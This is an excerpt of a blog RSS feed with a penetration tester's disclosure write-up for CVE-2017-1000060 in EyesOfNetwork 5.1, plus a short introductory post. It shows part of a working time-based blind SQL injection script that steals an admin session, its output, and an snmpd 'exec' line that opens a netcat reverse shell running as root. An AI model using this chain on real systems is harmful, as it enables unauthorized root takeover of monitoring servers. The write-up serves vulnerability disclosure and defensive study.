		execTime = getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR (SELECT CASE WHEN (SUBSTRING((SELECT session_id FROM DUAL ORDER BY session_id LIMIT 1),&amp;quot;+ str(i+1) +&amp;quot;,1)=&amp;quot;+ str(j) +&amp;quot;) THEN SLEEP(1) ELSE 1 END)=1337 -- -&amp;quot;)
		if (round(execTime - initial_time) &amp;gt;= 1):
			session_id += str(j)
			print str(j),
			break
print &amp;quot;\n[+] final session_id: [%s]&amp;quot; % session_id

# Get the username
execTime = getTime(&amp;quot;/logout.php&amp;quot;, &amp;quot;rioru&amp;#39; OR (SELECT CASE WHEN ((SELECT user_name FROM users WHERE user_id=1)=&amp;#39;admin&amp;#39;) THEN SLEEP(1) ELSE 1 END)=1337 -- -&amp;quot;)
if (round(execTime - initial_time) &amp;gt;= 1):
	print &amp;quot;[+] Username is [admin]&amp;quot;
else:
	print &amp;quot;[-] Username is not admin, brute force necessary&amp;quot;

print &amp;quot;[+] End of the PoC use these cookies to authenticate to Eonweb:&amp;quot;
print &amp;quot;session_id: %s;&amp;quot; % session_id
print &amp;quot;user_name: %s;&amp;quot; % &amp;quot;admin&amp;quot;
print &amp;quot;user_id: %d;&amp;quot; % 1
print &amp;quot;user_limitation: %d;&amp;quot; % 0
print &amp;quot;group_id: %d;&amp;quot; % 1
&lt;/pre&gt;&lt;/noscript&gt;
&lt;script src=&quot;https://gist.github.com/rioru/105fb626b5ce046d8f050032da24ad2d.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;And here it is in action:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;gp&quot;&gt;rioru@zhsk:~/perso$ &lt;/span&gt;python poc_eon_5.1.py
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;!] Proof of Concept &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;the Unauthenticated SQL Injection &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;EyesOfNetwork 5.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;DELETE statement&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - Rioru &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;@ddxhunter&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] The initial request &lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;on https://192.168.1.161 is 0.020000, getting the number of entries, it could take a &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Found 379 entries &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;sessions] table, deleting every sessions except one
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Found an admin session length: 9, getting the session_id
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] session_id:  3 5 3 8 9 8 3 2 7
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] final session_id: &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;353898327]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Username is &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;admin]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] End of the PoC use these cookies to authenticate to Eonweb:
session_id: 353898327;
user_name: admin;
user_id: 1;
user_limitation: 0;
group_id: 1;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Using these cookies in a browser or with curl, we are correctly authenticated on Eonweb with the &lt;code class=&quot;highlighter-rouge&quot;&gt;admin&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/eonweb_auth.png&quot; alt=&quot;Authenticated on eonweb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From there, we can access all the monitoring tools available in EON (Nagios, Cacti, Thrunk, …).&lt;/p&gt;

&lt;h3 id=&quot;go-for-the-kill-privilege-escalation-using-snmp&quot;&gt;Go for the kill: Privilege escalation using snmp&lt;/h3&gt;
&lt;p&gt;Now that we have access to the web interface, we will try to elevate our privileges searching for an RCE. I found a particularly interesting way to perform a root-privileged remote code execution on the appliance using SNMP.&lt;/p&gt;

&lt;p&gt;Let’s see the privileges of the process running snmpd and its configuration:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost ~]# ps aux | grep snmpd
root      8297  0.0  0.6 223424 12448 ?        Ss   mars27   1:29 /usr/sbin/snmpd -LS0-6d -f
root     24404  0.0  0.0 112648   968 pts/0    R+   06:16   0:00 grep --color&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;auto snmpd&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost snmp]# &lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;
/etc/snmp
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost snmp]# ls -al
total 36
drwxr-xr-x.  2 root root    46 27 mars  14:07 .
drwxr-xr-x. 85 root root  8192 27 mars  12:14 ..
-rw-rw-rw-.  1 root root 18955 27 mars  14:07 snmpd.conf
-rw-rw-rw-.  1 root root   129 27 mars  14:07 snmptrapd.conf&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost snmp]# cat /etc/sudoers
...
&lt;span class=&quot;c&quot;&gt;# eonweb&lt;/span&gt;
apache &lt;span class=&quot;nv&quot;&gt;ALL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;NOPASSWD:/bin/systemctl &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; snmptt,/bin/systemctl &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; snmptrapd,/bin/systemctl &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; snmpd,/bin/systemctl &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; nagios,/bin/systemctl &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; gedd,/usr/bin/nmap&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So, by default, anybody could edit the SNMP configuration, reload the server using sudo and the process will be run as root. Fortunately, we do not even need to find an RCE to perform these actions as they are available in the web interface Eonweb.&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;highlighter-rouge&quot;&gt;/module/admin_process/&lt;/code&gt; we are able to restart/reload the different processes in EyesOfNetwork:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/eonweb_process.png&quot; alt=&quot;Eonweb process management&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And, even if I wasn’t able to find it in the interface, an administrator can edit directly the SNMP configuration file, going to &lt;code class=&quot;highlighter-rouge&quot;&gt;/module/admin_files/?file=snmpconf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/eonweb_snmpconf.png&quot; alt=&quot;Eonweb snmpconf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s so interesting about SNMP? It is possible to execute shell commands by setting a specific instruction inside it and call for the correct OID.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;// snmpconf
...
&lt;span class=&quot;nb&quot;&gt;exec &lt;/span&gt;rioru /bin/nc -e /bin/bash &amp;lt;reverse ip&amp;gt; &amp;lt;port&amp;gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we have to access the SNMPd service either with &lt;code class=&quot;highlighter-rouge&quot;&gt;snmpwalk&lt;/code&gt; directly if 161/udp is open and do &lt;code class=&quot;highlighter-rouge&quot;&gt;snmpwalk -v 1 &amp;lt;EON ip&amp;gt; -c &amp;lt;community&amp;gt; .1.3.6.1.4.1.2021.8&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; we could, once again, use the tools available in Eonweb to trigger the command execution, for example if there is a firewall present between EON and our machine blocking SNMP requests.&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;highlighter-rouge&quot;&gt;/module/tool_all/&lt;/code&gt;, a snmpwalk tool is available, by default it is recovering all the MIB, but since the host is the last argument from the command line, we can set the host to &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;host&amp;gt; &amp;lt;OID&amp;gt;&lt;/code&gt; and get our connect-back.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/eonweb_snmpwalk.png&quot; alt=&quot;Eonweb snmpwalk&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And in our connect-back shell we previously set-up:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;gp&quot;&gt;rioru@zhsk:~/perso$ &lt;/span&gt;nc -l -p 4444 -v
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 4444 ...
192.168.1.161: inverse host lookup failed: Unknown host
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.1.27] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.1.161] 54388
id
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;system_u:system_r:snmpd_t:s0
ifconfig
ens160: &lt;span class=&quot;nv&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 192.168.1.161  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::70d7:a7c2:630f:681f  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 00:0c:29:dc:69:9a  txqueuelen 1000  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        RX packets 664160  bytes 59288971 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;56.5 MiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 185658  bytes 101831097 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;97.1 MiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: &lt;span class=&quot;nv&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Local Loopback&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        RX packets 256506  bytes 31487186 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;30.0 MiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 256506  bytes 31487186 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;30.0 MiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Final privilege escalation scenario:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Edit the snmpconf via &lt;code class=&quot;highlighter-rouge&quot;&gt;admin_files&lt;/code&gt; and search for the correct community&lt;/li&gt;
  &lt;li&gt;Reload the service via &lt;code class=&quot;highlighter-rouge&quot;&gt;admin_process&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Call the correct snmp OID either if SNMP is accessible or using tools from Eonweb in &lt;code class=&quot;highlighter-rouge&quot;&gt;tool_all&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;automating-the-attack&quot;&gt;Automating the attack&lt;/h3&gt;
&lt;p&gt;Now that we have all these elements, a complete scenario is possible:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Exploiting the Unauthenticated SQL Injection to recover either: sessions or accounts (password are stored in simple md5).&lt;/li&gt;
  &lt;li&gt;Authenticate on the application&lt;/li&gt;
  &lt;li&gt;Recover the SNMP community&lt;/li&gt;
  &lt;li&gt;Edit the snmpd config files to add a malicious command&lt;/li&gt;
  &lt;li&gt;Execute the command using snmpwalk (either remotely or locally using the tools available in eonweb)&lt;/li&gt;
  &lt;li&gt;We have our root-privileged execution :).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;01st February 2017 - Initial Discovery&lt;/li&gt;
  &lt;li&gt;14th March 2017 - Public disclosure of an authenticated SQL injection and an RCE in Eonweb by Sysdream&lt;/li&gt;
  &lt;li&gt;27th March 2017 - First contact with the vendor&lt;/li&gt;
  &lt;li&gt;28th March 2017 - Created the proof of concept for the exploit&lt;/li&gt;
  &lt;li&gt;28th March 2017 - CVE request to DWF&lt;/li&gt;
  &lt;li&gt;29th March 2017 - Acknowledgement of the vendor&lt;/li&gt;
  &lt;li&gt;07th May 2017 - Got assigned a CVE ID via DWF (CVE-2017-1000060)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;final-advisory&quot;&gt;Final Advisory&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Title:
======
EyesOfNetwork (EON) 5.1 Unauthenticated SQL Injection in eonweb leading to remote root

Author:
=======
Dany Bach [@ddxhunter, rioru.github.io]

CVE-ID:
=======
CVE-2017-1000060

OVE-ID:
=======
OVE-20170328-0001

Risk Information:
=================
CVSS Base Score		10.0
CVSS Vector		CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:U/RC:C
CVSS Temporal Score	9.7
Overall CVSS Score	9.7

Timeline:
=========
2017-02-01 - Initial Discovery
2017-03-14 - Public disclosure of an authenticated SQL injection and an RCE in Eonweb by Sysdream
2017-03-27 - First contact with the vendor
2017-03-28 - Created the proof of concept for the exploit
2017-03-28 - CVE request to DWF
2017-03-28 - Acknowledgement of the vendor
2017-05-03 - Got assigned a CVE ID via DWF (CVE-2017-1000060)

Status:
=======
Published

Affected Products:
==================
EyesOfNetwork (&quot;EON&quot;) 5.1 and older

Vendor Homepage:
================
https://www.eyesofnetwork.com/?lang=en

Details:
========
By exploiting an unauthenticated SQL injection in Eonweb (logout.php), it is possible to gain remote root access to the server using a lack of proper permissions in SNMPd after an authentication using the sessions table.

Vulnerable file:
================
logout.php, Line 28
...
if(isset($_COOKIE[&quot;session_id&quot;])) {
	$sessid=$_COOKIE[&quot;session_id&quot;];
	sqlrequest($database_eonweb,&quot;DELETE FROM sessions where session_id='$sessid'&quot;); // Vulnerable
}
...

Proof of Concept:
=================
https://gist.github.com/rioru/105fb626b5ce046d8f050032da24ad2d

Fix:
====
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
</description>
				<pubDate>Tue, 28 Mar 2017 00:00:00 +0200</pubDate>
				<link>/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html</link>
				<guid isPermaLink="true">/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html</guid>
			</item>
		
			<item>
				<title>Mandatory Hello World</title>
				<description>&lt;p&gt;Greetings,&lt;/p&gt;

&lt;p&gt;My name is &lt;code class=&quot;highlighter-rouge&quot;&gt;Dany&lt;/code&gt;, even if you can call me &lt;code class=&quot;highlighter-rouge&quot;&gt;Rioru&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I finally decided to launch my blog on &lt;code class=&quot;highlighter-rouge&quot;&gt;github&lt;/code&gt; using &lt;code class=&quot;highlighter-rouge&quot;&gt;Jekyll&lt;/code&gt; to generate my pages. I used to have a &lt;a href=&quot;https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/&quot;&gt;&lt;strong&gt;blog&lt;/strong&gt;&lt;/a&gt; but since I created it when I was 17, I decided it was better to start once again from scratch.&lt;/p&gt;

&lt;p&gt;This blog will mostly talk about computer security, generally from the point of view of a penetration tester. I’ll share my tips, tricks and thoughts here.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Hello World&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;See you around.
Cheers.&lt;/p&gt;
</description>
				<pubDate>Tue, 07 Mar 2017 00:00:00 +0100</pubDate>
				<link>/general/2017/03/07/mandatory-hello-world.html</link>
				<guid isPermaLink="true">/general/2017/03/07/mandatory-hello-world.html</guid>
			</item>
		
	</channel>
</rss>